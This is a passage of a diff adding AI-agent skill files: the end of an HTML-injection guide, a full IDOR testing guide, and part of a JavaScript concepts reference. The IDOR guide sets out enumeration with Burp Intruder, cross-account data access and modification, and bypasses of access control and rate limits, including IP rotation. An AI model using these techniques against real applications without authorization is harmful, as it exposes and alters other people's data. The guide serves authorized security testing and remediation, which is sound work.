- WAFs may block common payloads
|
||||
- Some applications escape output properly
|
||||
|
||||
### Testing Considerations
|
||||
- Distinguish between HTML injection and XSS
|
||||
- Verify visual impact in browser
|
||||
- Test in multiple browsers
|
||||
- Check for stored vs reflected
|
||||
|
||||
### Severity Assessment
|
||||
- Lower severity than XSS (no script execution)
|
||||
- Higher impact when combined with phishing
|
||||
- Consider defacement/reputation damage
|
||||
- Evaluate credential theft potential
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
| Issue | Solutions |
|
||||
|-------|-----------|
|
||||
| HTML not rendering | Check if output HTML-encoded; try encoding variations; verify HTML context |
|
||||
| Payload stripped | Use encoding variations; try tag splitting; test null bytes; nested tags |
|
||||
| XSS not working (HTML only) | JS filtered but HTML allowed; leverage phishing forms, meta refresh redirects |
|
||||
439
skills/idor-testing/SKILL.md
Normal file
439
skills/idor-testing/SKILL.md
Normal file
@@ -0,0 +1,439 @@
|
||||
---
|
||||
name: IDOR Vulnerability Testing
|
||||
description: This skill should be used when the user asks to "test for insecure direct object references," "find IDOR vulnerabilities," "exploit broken access control," "enumerate user IDs or object references," or "bypass authorization to access other users' data." It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications.
|
||||
---
|
||||
|
||||
# IDOR Vulnerability Testing
|
||||
|
||||
## Purpose
|
||||
|
||||
Provide systematic methodologies for identifying and exploiting Insecure Direct Object Reference (IDOR) vulnerabilities in web applications. This skill covers both database object references and static file references, detection techniques using parameter manipulation and enumeration, exploitation via Burp Suite, and remediation strategies for securing applications against unauthorized access.
|
||||
|
||||
## Inputs / Prerequisites
|
||||
|
||||
- **Target Web Application**: URL of application with user-specific resources
|
||||
- **Multiple User Accounts**: At least two test accounts to verify cross-user access
|
||||
- **Burp Suite or Proxy Tool**: Intercepting proxy for request manipulation
|
||||
- **Authorization**: Written permission for security testing
|
||||
- **Understanding of Application Flow**: Knowledge of how objects are referenced (IDs, filenames)
|
||||
|
||||
## Outputs / Deliverables
|
||||
|
||||
- **IDOR Vulnerability Report**: Documentation of discovered access control bypasses
|
||||
- **Proof of Concept**: Evidence of unauthorized data access across user contexts
|
||||
- **Affected Endpoints**: List of vulnerable API endpoints and parameters
|
||||
- **Impact Assessment**: Classification of data exposure severity
|
||||
- **Remediation Recommendations**: Specific fixes for identified vulnerabilities
|
||||
|
||||
## Core Workflow
|
||||
|
||||
### 1. Understand IDOR Vulnerability Types
|
||||
|
||||
#### Direct Reference to Database Objects
|
||||
Occurs when applications reference database records via user-controllable parameters:
|
||||
```
|
||||
# Original URL (authenticated as User A)
|
||||
example.com/user/profile?id=2023
|
||||
|
||||
# Manipulation attempt (accessing User B's data)
|
||||
example.com/user/profile?id=2022
|
||||
```
|
||||
|
||||
#### Direct Reference to Static Files
|
||||
Occurs when applications expose file paths or names that can be enumerated:
|
||||
```
|
||||
# Original URL (User A's receipt)
|
||||
example.com/static/receipt/205.pdf
|
||||
|
||||
# Manipulation attempt (User B's receipt)
|
||||
example.com/static/receipt/200.pdf
|
||||
```
|
||||
|
||||
### 2. Reconnaissance and Setup
|
||||
|
||||
#### Create Multiple Test Accounts
|
||||
```
|
||||
Account 1: "attacker" - Primary testing account
|
||||
Account 2: "victim" - Account whose data we attempt to access
|
||||
```
|
||||
|
||||
#### Identify Object References
|
||||
Capture and analyze requests containing:
|
||||
- Numeric IDs in URLs: `/api/user/123`
|
||||
- Numeric IDs in parameters: `?id=123&action=view`
|
||||
- Numeric IDs in request body: `{"userId": 123}`
|
||||
- File paths: `/download/receipt_123.pdf`
|
||||
- GUIDs/UUIDs: `/profile/a1b2c3d4-e5f6-...`
|
||||
|
||||
#### Map User IDs
|
||||
```
|
||||
# Access user ID endpoint (if available)
|
||||
GET /api/user-id/
|
||||
|
||||
# Note ID patterns:
|
||||
# - Sequential integers (1, 2, 3...)
|
||||
# - Auto-incremented values
|
||||
# - Predictable patterns
|
||||
```
|
||||
|
||||
### 3. Detection Techniques
|
||||
|
||||
#### URL Parameter Manipulation
|
||||
```
|
||||
# Step 1: Capture original authenticated request
|
||||
GET /api/user/profile?id=1001 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Step 2: Modify ID to target another user
|
||||
GET /api/user/profile?id=1000 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Vulnerable if: Returns victim's data with attacker's session
|
||||
```
|
||||
|
||||
#### Request Body Manipulation
|
||||
```
|
||||
# Original POST request
|
||||
POST /api/address/update HTTP/1.1
|
||||
Content-Type: application/json
|
||||
Cookie: session=attacker_session
|
||||
|
||||
{"id": 5, "userId": 1001, "address": "123 Attacker St"}
|
||||
|
||||
# Modified request targeting victim
|
||||
{"id": 5, "userId": 1000, "address": "123 Attacker St"}
|
||||
```
|
||||
|
||||
#### HTTP Method Switching
|
||||
```
|
||||
# Original GET request may be protected
|
||||
GET /api/admin/users/1000 → 403 Forbidden
|
||||
|
||||
# Try alternative methods
|
||||
POST /api/admin/users/1000 → 200 OK (Vulnerable!)
|
||||
PUT /api/admin/users/1000 → 200 OK (Vulnerable!)
|
||||
```
|
||||
|
||||
### 4. Exploitation with Burp Suite
|
||||
|
||||
#### Manual Exploitation
|
||||
```
|
||||
1. Configure browser proxy through Burp Suite
|
||||
2. Login as "attacker" user
|
||||
3. Navigate to profile/data page
|
||||
4. Enable Intercept in Proxy tab
|
||||
5. Capture request with user ID
|
||||
6. Modify ID to victim's ID
|
||||
7. Forward request
|
||||
8. Observe response for victim's data
|
||||
```
|
||||
|
||||
#### Automated Enumeration with Intruder
|
||||
```
|
||||
1. Send request to Intruder (Ctrl+I)
|
||||
2. Clear all payload positions
|
||||
3. Select ID parameter as payload position
|
||||
4. Configure attack type: Sniper
|
||||
5. Payload settings:
|
||||
- Type: Numbers
|
||||
- Range: 1 to 10000
|
||||
- Step: 1
|
||||
6. Start attack
|
||||
7. Analyze responses for 200 status codes
|
||||
```
|
||||
|
||||
#### Battering Ram Attack for Multiple Positions
|
||||
```
|
||||
# When same ID appears in multiple locations
|
||||
PUT /api/addresses/§5§/update HTTP/1.1
|
||||
|
||||
{"id": §5§, "userId": 3}
|
||||
|
||||
Attack Type: Battering Ram
|
||||
Payload: Numbers 1-1000
|
||||
```
|
||||
|
||||
### 5. Common IDOR Locations
|
||||
|
||||
#### API Endpoints
|
||||
```
|
||||
/api/user/{id}
|
||||
/api/profile/{id}
|
||||
/api/order/{id}
|
||||
/api/invoice/{id}
|
||||
/api/document/{id}
|
||||
/api/message/{id}
|
||||
/api/address/{id}/update
|
||||
/api/address/{id}/delete
|
||||
```
|
||||
|
||||
#### File Downloads
|
||||
```
|
||||
/download/invoice_{id}.pdf
|
||||
/static/receipts/{id}.pdf
|
||||
/uploads/documents/{filename}
|
||||
/files/reports/report_{date}_{id}.xlsx
|
||||
```
|
||||
|
||||
#### Query Parameters
|
||||
```
|
||||
?userId=123
|
||||
?orderId=456
|
||||
?documentId=789
|
||||
?file=report_123.pdf
|
||||
?account=user@email.com
|
||||
```
|
||||
|
||||
## Quick Reference
|
||||
|
||||
### IDOR Testing Checklist
|
||||
|
||||
| Test | Method | Indicator of Vulnerability |
|
||||
|------|--------|---------------------------|
|
||||
| Increment/Decrement ID | Change `id=5` to `id=4` | Returns different user's data |
|
||||
| Use Victim's ID | Replace with known victim ID | Access granted to victim's resources |
|
||||
| Enumerate Range | Test IDs 1-1000 | Find valid records of other users |
|
||||
| Negative Values | Test `id=-1` or `id=0` | Unexpected data or errors |
|
||||
| Large Values | Test `id=99999999` | System information disclosure |
|
||||
| String IDs | Change format `id=user_123` | Logic bypass |
|
||||
| GUID Manipulation | Modify UUID portions | Predictable UUID patterns |
|
||||
|
||||
### Response Analysis
|
||||
|
||||
| Status Code | Interpretation |
|
||||
|-------------|----------------|
|
||||
| 200 OK | Potential IDOR - verify data ownership |
|
||||
| 403 Forbidden | Access control working |
|
||||
| 404 Not Found | Resource doesn't exist |
|
||||
| 401 Unauthorized | Authentication required |
|
||||
| 500 Error | Potential input validation issue |
|
||||
|
||||
### Common Vulnerable Parameters
|
||||
|
||||
| Parameter Type | Examples |
|
||||
|----------------|----------|
|
||||
| User identifiers | `userId`, `uid`, `user_id`, `account` |
|
||||
| Resource identifiers | `id`, `pid`, `docId`, `fileId` |
|
||||
| Order/Transaction | `orderId`, `transactionId`, `invoiceId` |
|
||||
| Message/Communication | `messageId`, `threadId`, `chatId` |
|
||||
| File references | `filename`, `file`, `document`, `path` |
|
||||
|
||||
## Constraints and Limitations
|
||||
|
||||
### Operational Boundaries
|
||||
- Requires at least two valid user accounts for verification
|
||||
- Some applications use session-bound tokens instead of IDs
|
||||
- GUID/UUID references harder to enumerate but not impossible
|
||||
- Rate limiting may restrict enumeration attempts
|
||||
- Some IDOR requires chained vulnerabilities to exploit
|
||||
|
||||
### Detection Challenges
|
||||
- Horizontal privilege escalation (user-to-user) vs vertical (user-to-admin)
|
||||
- Blind IDOR where response doesn't confirm access
|
||||
- Time-based IDOR in asynchronous operations
|
||||
- IDOR in websocket communications
|
||||
|
||||
### Legal Requirements
|
||||
- Only test applications with explicit authorization
|
||||
- Document all testing activities and findings
|
||||
- Do not access, modify, or exfiltrate real user data
|
||||
- Report findings through proper disclosure channels
|
||||
|
||||
## Examples
|
||||
|
||||
### Example 1: Basic ID Parameter IDOR
|
||||
```
|
||||
# Login as attacker (userId=1001)
|
||||
# Navigate to profile page
|
||||
|
||||
# Original request
|
||||
GET /api/profile?id=1001 HTTP/1.1
|
||||
Cookie: session=abc123
|
||||
|
||||
# Response: Attacker's profile data
|
||||
|
||||
# Modified request (targeting victim userId=1000)
|
||||
GET /api/profile?id=1000 HTTP/1.1
|
||||
Cookie: session=abc123
|
||||
|
||||
# Vulnerable Response: Victim's profile data returned!
|
||||
```
|
||||
|
||||
### Example 2: IDOR in Address Update Endpoint
|
||||
```
|
||||
# Intercept address update request
|
||||
PUT /api/addresses/5/update HTTP/1.1
|
||||
Content-Type: application/json
|
||||
Cookie: session=attacker_session
|
||||
|
||||
{
|
||||
"id": 5,
|
||||
"userId": 1001,
|
||||
"street": "123 Main St",
|
||||
"city": "Test City"
|
||||
}
|
||||
|
||||
# Modify userId to victim's ID
|
||||
{
|
||||
"id": 5,
|
||||
"userId": 1000, # Changed from 1001
|
||||
"street": "Hacked Address",
|
||||
"city": "Exploit City"
|
||||
}
|
||||
|
||||
# If 200 OK: Address created under victim's account
|
||||
```
|
||||
|
||||
### Example 3: Static File IDOR
|
||||
```
|
||||
# Download own receipt
|
||||
GET /api/download/5 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Response: PDF of attacker's receipt (order #5)
|
||||
|
||||
# Attempt to access other receipts
|
||||
GET /api/download/3 HTTP/1.1
|
||||
Cookie: session=attacker_session
|
||||
|
||||
# Vulnerable Response: PDF of victim's receipt (order #3)!
|
||||
```
|
||||
|
||||
### Example 4: Burp Intruder Enumeration
|
||||
```
|
||||
# Configure Intruder attack
|
||||
Target: PUT /api/addresses/§1§/update
|
||||
Payload Position: Address ID in URL and body
|
||||
|
||||
Attack Configuration:
|
||||
- Type: Battering Ram
|
||||
- Payload: Numbers 0-20, Step 1
|
||||
|
||||
Body Template:
|
||||
{
|
||||
"id": §1§,
|
||||
"userId": 3
|
||||
}
|
||||
|
||||
# Analyze results:
|
||||
# - 200 responses indicate successful modification
|
||||
# - Check victim's account for new addresses
|
||||
```
|
||||
|
||||
### Example 5: Horizontal to Vertical Escalation
|
||||
```
|
||||
# Step 1: Enumerate user roles
|
||||
GET /api/user/1 → {"role": "user", "id": 1}
|
||||
GET /api/user/2 → {"role": "user", "id": 2}
|
||||
GET /api/user/3 → {"role": "admin", "id": 3}
|
||||
|
||||
# Step 2: Access admin functions with discovered ID
|
||||
GET /api/admin/dashboard?userId=3 HTTP/1.1
|
||||
Cookie: session=regular_user_session
|
||||
|
||||
# If accessible: Vertical privilege escalation achieved
|
||||
```
|
||||
|
||||
## Troubleshooting
|
||||
|
||||
### Issue: All Requests Return 403 Forbidden
|
||||
**Cause**: Server-side access control is implemented
|
||||
**Solution**:
|
||||
```
|
||||
# Try alternative attack vectors:
|
||||
1. HTTP method switching (GET → POST → PUT)
|
||||
2. Add X-Original-URL or X-Rewrite-URL headers
|
||||
3. Try parameter pollution: ?id=1001&id=1000
|
||||
4. URL encoding variations: %31%30%30%30 for "1000"
|
||||
5. Case variations for string IDs
|
||||
```
|
||||
|
||||
### Issue: Application Uses UUIDs Instead of Sequential IDs
|
||||
**Cause**: Randomized identifiers reduce enumeration risk
|
||||
**Solution**:
|
||||
```
|
||||
# UUID discovery techniques:
|
||||
1. Check response bodies for leaked UUIDs
|
||||
2. Search JavaScript files for hardcoded UUIDs
|
||||
3. Check API responses that list multiple objects
|
||||
4. Look for UUID patterns in error messages
|
||||
5. Try UUID v1 (time-based) prediction if applicable
|
||||
```
|
||||
|
||||
### Issue: Session Token Bound to User
|
||||
**Cause**: Application validates session against requested resource
|
||||
**Solution**:
|
||||
```
|
||||
# Advanced bypass attempts:
|
||||
1. Test for IDOR in unauthenticated endpoints
|
||||
2. Check password reset/email verification flows
|
||||
3. Look for IDOR in file upload/download
|
||||
4. Test API versioning: /api/v1/ vs /api/v2/
|
||||
5. Check mobile API endpoints (often less protected)
|
||||
```
|
||||
|
||||
### Issue: Rate Limiting Blocks Enumeration
|
||||
**Cause**: Application implements request throttling
|
||||
**Solution**:
|
||||
```
|
||||
# Bypass techniques:
|
||||
1. Add delays between requests (Burp Intruder throttle)
|
||||
2. Rotate IP addresses (proxy chains)
|
||||
3. Target specific high-value IDs instead of full range
|
||||
4. Use different endpoints for same resources
|
||||
5. Test during off-peak hours
|
||||
```
|
||||
|
||||
### Issue: Cannot Verify IDOR Impact
|
||||
**Cause**: Response doesn't clearly indicate data ownership
|
||||
**Solution**:
|
||||
```
|
||||
# Verification methods:
|
||||
1. Create unique identifiable data in victim account
|
||||
2. Look for PII markers (name, email) in responses
|
||||
3. Compare response lengths between users
|
||||
4. Check for timing differences in responses
|
||||
5. Use secondary indicators (creation dates, metadata)
|
||||
```
|
||||
|
||||
## Remediation Guidance
|
||||
|
||||
### Implement Proper Access Control
|
||||
```python
|
||||
# Django example - validate ownership
|
||||
def update_address(request, address_id):
|
||||
address = Address.objects.get(id=address_id)
|
||||
|
||||
# Verify ownership before allowing update
|
||||
if address.user != request.user:
|
||||
return HttpResponseForbidden("Unauthorized")
|
||||
|
||||
# Proceed with update
|
||||
address.update(request.data)
|
||||
```
|
||||
|
||||
### Use Indirect References
|
||||
```python
|
||||
# Instead of: /api/address/123
|
||||
# Use: /api/address/current-user/billing
|
||||
|
||||
def get_address(request):
|
||||
# Always filter by authenticated user
|
||||
address = Address.objects.filter(user=request.user).first()
|
||||
return address
|
||||
```
|
||||
|
||||
### Server-Side Validation
|
||||
```python
|
||||
# Always validate on server, never trust client input
|
||||
def download_receipt(request, receipt_id):
|
||||
receipt = Receipt.objects.filter(
|
||||
id=receipt_id,
|
||||
user=request.user # Critical: filter by current user
|
||||
).first()
|
||||
|
||||
if not receipt:
|
||||
return HttpResponseNotFound()
|
||||
|
||||
return FileResponse(receipt.file)
|
||||
```
|
||||
645
skills/javascript-mastery/SKILL.md
Normal file
645
skills/javascript-mastery/SKILL.md
Normal file
@@ -0,0 +1,645 @@
|
||||
---
|
||||
name: javascript-mastery
|
||||
description: "Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals."
|
||||
---
|
||||
|
||||
# 🧠 JavaScript Mastery
|
||||
|
||||
> 33+ essential JavaScript concepts every developer should know, inspired by [33-js-concepts](https://github.com/leonardomso/33-js-concepts).
|
||||
|
||||
## When to Use This Skill
|
||||
|
||||
Use this skill when:
|
||||
|
||||
- Explaining JavaScript concepts
|
||||
- Debugging tricky JS behavior
|
||||
- Teaching JavaScript fundamentals
|
||||
- Reviewing code for JS best practices
|
||||
- Understanding language quirks
|
||||
|
||||
---
|
||||
|
||||
## 1. Fundamentals
|
||||
|
||||
### 1.1 Primitive Types
|
||||
|
||||
JavaScript has 7 primitive types:
|
||||
|
||||
```javascript
|
||||
// String
|
||||
const str = "hello";
|
||||
|
||||
// Number (integers and floats)
|
||||
const num = 42;
|
||||
const float = 3.14;
|
||||
|
||||
// BigInt (for large integers)
|
||||
const big = 9007199254740991n;
|
||||
|
||||
// Boolean
|
||||
const bool = true;
|
||||
|
||||
// Undefined
|
||||
let undef; // undefined
|
||||
|
||||
// Null
|
||||
const empty = null;
|
||||
|
||||
// Symbol (unique identifiers)
|
||||
const sym = Symbol("description");
|
||||
```
|
||||
|
||||
**Key points**:
|
||||
|
||||
- Primitives are immutable
|
||||
- Passed by value
|
||||
- `typeof null === "object"` is a historical bug
|
||||
|
||||
### 1.2 Type Coercion
|
||||
|
||||
JavaScript implicitly converts types:
|
||||
|
||||
```javascript
|
||||
// String coercion
|
||||
"5" + 3; // "53" (number → string)
|
||||
"5" - 3; // 2 (string → number)
|
||||
|
||||
// Boolean coercion
|
||||
Boolean(""); // false
|
||||
Boolean("hello"); // true
|
||||
Boolean(0); // false
|
||||
Boolean([]); // true (!)
|
||||
|
||||
// Equality coercion
|
||||
"5" == 5; // true (coerces)
|
||||
"5" === 5; // false (strict)
|
||||
```
|
||||
|
||||
**Falsy values** (8 total):
|
||||
`false`, `0`, `-0`, `0n`, `""`, `null`, `undefined`, `NaN`
|
||||
|
||||
### 1.3 Equality Operators
|
||||
|
||||
```javascript
|
||||
// == (loose equality) - coerces types
|
||||
null == undefined; // true
|
||||
"1" == 1; // true
|
||||
|
||||
// === (strict equality) - no coercion
|
||||
null === undefined; // false
|
||||
"1" === 1; // false
|
||||
|
||||
// Object.is() - handles edge cases
|
||||
Object.is(NaN, NaN); // true (NaN === NaN is false!)
|
||||
Object.is(-0, 0); // false (0 === -0 is true!)
|
||||
```
|
||||
|
||||
**Rule**: Always use `===` unless you have a specific reason not to.
|
||||
|
||||
---
|
||||
|
||||
## 2. Scope & Closures
|
||||
|
||||
### 2.1 Scope Types
|
||||
|
||||
```javascript
|
||||
// Global scope
|
||||
var globalVar = "global";
|
||||
|
||||
function outer() {
|
||||
// Function scope
|
||||
var functionVar = "function";
|
||||
|
||||
if (true) {
|
||||
// Block scope (let/const only)
|
||||
let blockVar = "block";
|
||||
const alsoBlock = "block";
|
||||
var notBlock = "function"; // var ignores blocks!
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 2.2 Closures
|
||||
|
||||
A closure is a function that remembers its lexical scope:
|
||||
|
||||
```javascript
|
||||
function createCounter() {
|
||||
let count = 0; // "closed over" variable
|
||||
|
||||
return {
|
||||
increment() {
|
||||
return ++count;
|
||||
},
|
||||
decrement() {
|
||||
return --count;
|
||||
},
|
||||
getCount() {
|
||||
return count;
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
const counter = createCounter();
|
||||
counter.increment(); // 1
|
||||
counter.increment(); // 2
|
||||
counter.getCount(); // 2
|
||||
```
|
||||
|
||||
**Common use cases**:
|
||||
|
||||
- Data privacy (module pattern)
|
||||
- Function factories
|
||||
- Partial application
|
||||
- Memoization
|
||||
|
||||
### 2.3 var vs let vs const
|
||||
|
||||
```javascript
|
||||
// var - function scoped, hoisted, can redeclare
|
||||
var x = 1;
|
||||
var x = 2; // OK
|
||||
|
||||
// let - block scoped, hoisted (TDZ), no redeclare
|
||||
let y = 1;
|
||||
// let y = 2; // Error!
|
||||
|
||||
// const - like let, but can't reassign
|
||||
const z = 1;
|
||||
// z = 2; // Error!
|
||||
|
||||
// BUT: const objects are mutable
|
||||
const obj = { a: 1 };
|
||||
obj.a = 2; // OK
|
||||
obj.b = 3; // OK
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. Functions & Execution
|
||||
|
||||
### 3.1 Call Stack
|
||||
|
||||
```javascript
|
||||
function first() {
|
||||
console.log("first start");
|
||||
second();
|
||||
console.log("first end");
|
||||
}
|
||||
|
||||
function second() {
|
||||
console.log("second");
|
||||
}
|
||||
|
||||
first();
|
||||
// Output:
|
||||
// "first start"
|
||||
// "second"
|
||||
// "first end"
|
||||
```
|
||||
|
||||
Stack overflow example:
|
||||
|
||||
```javascript
|
||||
function infinite() {
|
||||
infinite(); // No base case!
|
||||
}
|
||||
infinite(); // RangeError: Maximum call stack size exceeded
|
||||
```
|
||||
|
||||
### 3.2 Hoisting
|
||||
|
||||
```javascript
|
||||
// Variable hoisting
|
||||
console.log(a); // undefined (hoisted, not initialized)
|
||||
var a = 5;
|
||||
|
||||
console.log(b); // ReferenceError (TDZ)
|
||||
let b = 5;
|
||||
|
||||
// Function hoisting
|
||||
sayHi(); // Works!
|
||||
function sayHi() {
|
||||
console.log("Hi!");
|
||||
}
|
||||
|
||||
// Function expressions don't hoist
|
||||
sayBye(); // TypeError
|
||||
var sayBye = function () {
|
||||
console.log("Bye!");
|
||||
};
|
||||
```
|
||||
|
||||
### 3.3 this Keyword
|
||||
|
||||
```javascript
|
||||
// Global context
|
||||
console.log(this); // window (browser) or global (Node)
|
||||
|
||||
// Object method
|
||||
const obj = {
|
||||
name: "Alice",
|
||||
greet() {
|
||||
console.log(this.name); // "Alice"
|
||||
},
|
||||
};
|
||||
|
||||
// Arrow functions (lexical this)
|
||||
const obj2 = {
|
||||
name: "Bob",
|
||||
greet: () => {
|
||||
console.log(this.name); // undefined (inherits outer this)
|
||||
},
|
||||
};
|
||||
|
||||
// Explicit binding
|
||||
function greet() {
|
||||
console.log(this.name);
|
||||
}
|
||||
greet.call({ name: "Charlie" }); // "Charlie"
|
||||
greet.apply({ name: "Diana" }); // "Diana"
|
||||
const bound = greet.bind({ name: "Eve" });
|
||||
bound(); // "Eve"
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Event Loop & Async
|
||||
|
||||
### 4.1 Event Loop
|
||||
|
||||
```javascript
|
||||
console.log("1");
|
||||
|
||||
setTimeout(() => console.log("2"), 0);
|
||||
|
||||
Promise.resolve().then(() => console.log("3"));
|
||||
|
||||
console.log("4");
|
||||
|
||||
// Output: 1, 4, 3, 2
|
||||
// Why? Microtasks (Promises) run before macrotasks (setTimeout)
|
||||
```
|
||||
|
||||
**Execution order**:
|
||||
|
||||
1. Synchronous code (call stack)
|
||||
2. Microtasks (Promise callbacks, queueMicrotask)
|
||||
3. Macrotasks (setTimeout, setInterval, I/O)
|
||||
|
||||
### 4.2 Callbacks
|
||||
|
||||
```javascript
|
||||
// Callback pattern
|
||||
function fetchData(callback) {
|
||||
setTimeout(() => {
|
||||
callback(null, { data: "result" });
|
||||
}, 1000);
|
||||
}
|
||||
|
||||
// Error-first convention
|
||||
fetchData((error, result) => {
|
||||
if (error) {
|
||||
console.error(error);
|
||||
return;
|
||||
}
|
||||
console.log(result);
|
||||
});
|
||||
|
||||
// Callback hell (avoid this!)
|
||||
getData((data) => {
|
||||
processData(data, (processed) => {
|
||||
saveData(processed, (saved) => {
|
||||
notify(saved, () => {
|
||||
// 😱 Pyramid of doom
|
||||
});
|
||||
});
|
||||
});
|
||||
});
|
||||
```
|
||||
|
||||
### 4.3 Promises
|
||||
|
||||
```javascript
|
||||
// Creating a Promise
|
||||
const promise = new Promise((resolve, reject) => {
|
||||
setTimeout(() => {
|
||||
resolve("Success!");
|
||||
// or: reject(new Error("Failed!"));
|
||||
}, 1000);
|
||||
});
|
||||
|
||||
// Consuming Promises
|
||||
promise
|
||||
.then((result) => console.log(result))
|
||||
.catch((error) => console.error(error))
|
||||
.finally(() => console.log("Done"));
|
||||
|
||||
// Promise combinators
|
||||
Promise.all([p1, p2, p3]); // All must succeed
|
||||
Promise.allSettled([p1, p2]); // Wait for all, get status
|
||||
Promise.race([p1, p2]); // First to settle
|
||||
Promise.any([p1, p2]); // First to succeed
|
||||
```
|
||||
|
||||
### 4.4 async/await
|
||||
|
||||
```javascript
|
||||
async function fetchUserData(userId) {
|
||||
try {
|
||||
const response = await fetch(`/api/users/${userId}`);
|
||||
if (!response.ok) throw new Error("Failed to fetch");
|
||||
const user = await response.json();
|
||||
return user;
|
||||
} catch (error) {
|
||||
console.error("Error:", error);
|
||||
throw error; // Re-throw for caller to handle
|
||||
}
|
||||
}
|
||||
|
||||
// Parallel execution
|
||||
async function fetchAll() {
|
||||
const [users, posts] = await Promise.all([
|
||||
fetch("/api/users"),
|
||||
fetch("/api/posts"),
|
||||
]);
|
||||
return { users, posts };
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. Functional Programming
|
||||
|
||||
### 5.1 Higher-Order Functions
|
||||
|
||||
Functions that take or return functions:
|
||||
|
||||
```javascript
|
||||
// Takes a function
|
||||
const numbers = [1, 2, 3];
|
||||
const doubled = numbers.map((n) => n * 2); // [2, 4, 6]
|
||||
|
||||
// Returns a function
|
||||
function multiply(a) {
|
||||
return function (b) {
|
||||
return a * b;
|
||||
};
|
||||
}
|
||||
const double = multiply(2);
|
||||
double(5); // 10
|
||||
```
|
||||
|
||||
### 5.2 Pure Functions
|
||||
|
||||
```javascript
|
||||
// Pure: same input → same output, no side effects
|
||||
function add(a, b) {
|
||||
return a + b;
|
||||
}
|
||||
|
||||
// Impure: modifies external state
|
||||
let total = 0;
|
||||
function addToTotal(value) {
|
||||
total += value; // Side effect!
|
||||
return total;
|
||||
}
|
||||
|
||||
// Impure: depends on external state
|
||||
function getDiscount(price) {
|
||||
return price * globalDiscountRate; // External dependency
|
||||
}
|
||||
```
|
||||
|
||||
### 5.3 map, filter, reduce
|
||||
|
||||
```javascript
|
||||
const users = [
|
||||
{ name: "Alice", age: 25 },
|
||||
{ name: "Bob", age: 30 },
|
||||
{ name: "Charlie", age: 35 },
|
||||
];
|
||||
|
||||
// map: transform each element
|
||||
const names = users.map((u) => u.name);
|
||||
// ["Alice", "Bob", "Charlie"]
|
||||
|
||||
// filter: keep elements matching condition
|
||||
const adults = users.filter((u) => u.age >= 30);
|
||||
// [{ name: "Bob", ... }, { name: "Charlie", ... }]
|
||||
|
||||
// reduce: accumulate into single value
|
||||
const totalAge = users.reduce((sum, u) => sum + u.age, 0);
|
||||
// 90
|
||||
|
||||
// Chaining
|
||||
const result = users
|
||||
.filter((u) => u.age >= 30)
|
||||
.map((u) => u.name)
|
||||
.join(", ");
|
||||
// "Bob, Charlie"
|
||||
```
|
||||
|
||||
### 5.4 Currying & Composition
|
||||
|
||||
```javascript
|
||||
// Currying: transform f(a, b, c) into f(a)(b)(c)
|
||||
const curry = (fn) => {
|
||||
return function curried(...args) {
|
||||
if (args.length >= fn.length) {
|
||||
return fn.apply(this, args);
|
||||
}
|
||||
return (...moreArgs) => curried(...args, ...moreArgs);
|
||||
};
|
||||
};
|
||||
|
||||
const add = curry((a, b, c) => a + b + c);
|
||||
add(1)(2)(3); // 6
|
||||
add(1, 2)(3); // 6
|
||||
add(1)(2, 3); // 6
|
||||
|
||||
// Composition: combine functions
|
||||
const compose =
|
||||
(...fns) =>
|
||||
(x) =>
|
||||
fns.reduceRight((acc, fn) => fn(acc), x);
|
||||
|
||||
const pipe =
|
||||
(...fns) =>
|
||||
(x) =>
|
||||
fns.reduce((acc, fn) => fn(acc), x);
|
||||
|
||||
const addOne = (x) => x + 1;
|
||||
const double = (x) => x * 2;
|
||||
|
||||
const addThenDouble = compose(double, addOne);
|
||||
addThenDouble(5); // 12 = (5 + 1) * 2
|
||||
|
||||
const doubleThenAdd = pipe(double, addOne);
|
||||
doubleThenAdd(5); // 11 = (5 * 2) + 1
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. Objects & Prototypes
|
||||
|
||||
### 6.1 Prototypal Inheritance
|
||||
|
||||
```javascript
|
||||
// Prototype chain
|
||||
const animal = {
|
||||
speak() {
|
||||
console.log("Some sound");
|
||||
},
|
||||
};
|
||||
|
||||
const dog = Object.create(animal);
|
||||
dog.bark = function () {
|
||||
console.log("Woof!");
|
||||
};
|
||||
|
||||
dog.speak(); // "Some sound" (inherited)
|
||||
dog.bark(); // "Woof!" (own method)
|
||||
|
||||
// ES6 Classes (syntactic sugar)
|
||||
class Animal {
|
||||
speak() {
|
||||
console.log("Some sound");
|
||||
}
|
||||
}
|
||||
|
||||
class Dog extends Animal {
|
||||
bark() {
|
||||
console.log("Woof!");
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 6.2 Object Methods
|
||||
|
||||
```javascript
|
||||
const obj = { a: 1, b: 2 };
|
||||
|
||||
// Keys, values, entries
|
||||
Object.keys(obj); // ["a", "b"]
|
||||
Object.values(obj); // [1, 2]
|
||||
Object.entries(obj); // [["a", 1], ["b", 2]]
|
||||
|
||||
// Shallow copy
|
||||
const copy = { ...obj };
|
||||
const copy2 = Object.assign({}, obj);
|
||||
|
||||
// Freeze (immutable)
|
||||
const frozen = Object.freeze({ x: 1 });
|
||||
frozen.x = 2; // Silently fails (or throws in strict mode)
|
||||
|
||||
// Seal (no add/delete, can modify)
|
||||
const sealed = Object.seal({ x: 1 });
|
||||
sealed.x = 2; // OK
|
||||
sealed.y = 3; // Fails
|
||||
delete sealed.x; // Fails
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 7. Modern JavaScript (ES6+)
|
||||
|
||||
### 7.1 Destructuring
|
||||
|
||||
```javascript
|
||||
// Array destructuring
|
||||
const [first, second, ...rest] = [1, 2, 3, 4, 5];
|
||||
// first = 1, second = 2, rest = [3, 4, 5]
|
||||
|
||||
// Object destructuring
|
||||
const { name, age, city = "Unknown" } = { name: "Alice", age: 25 };
|
||||
// name = "Alice", age = 25, city = "Unknown"
|
||||
|
||||
// Renaming
|
||||
const { name: userName } = { name: "Bob" };
|
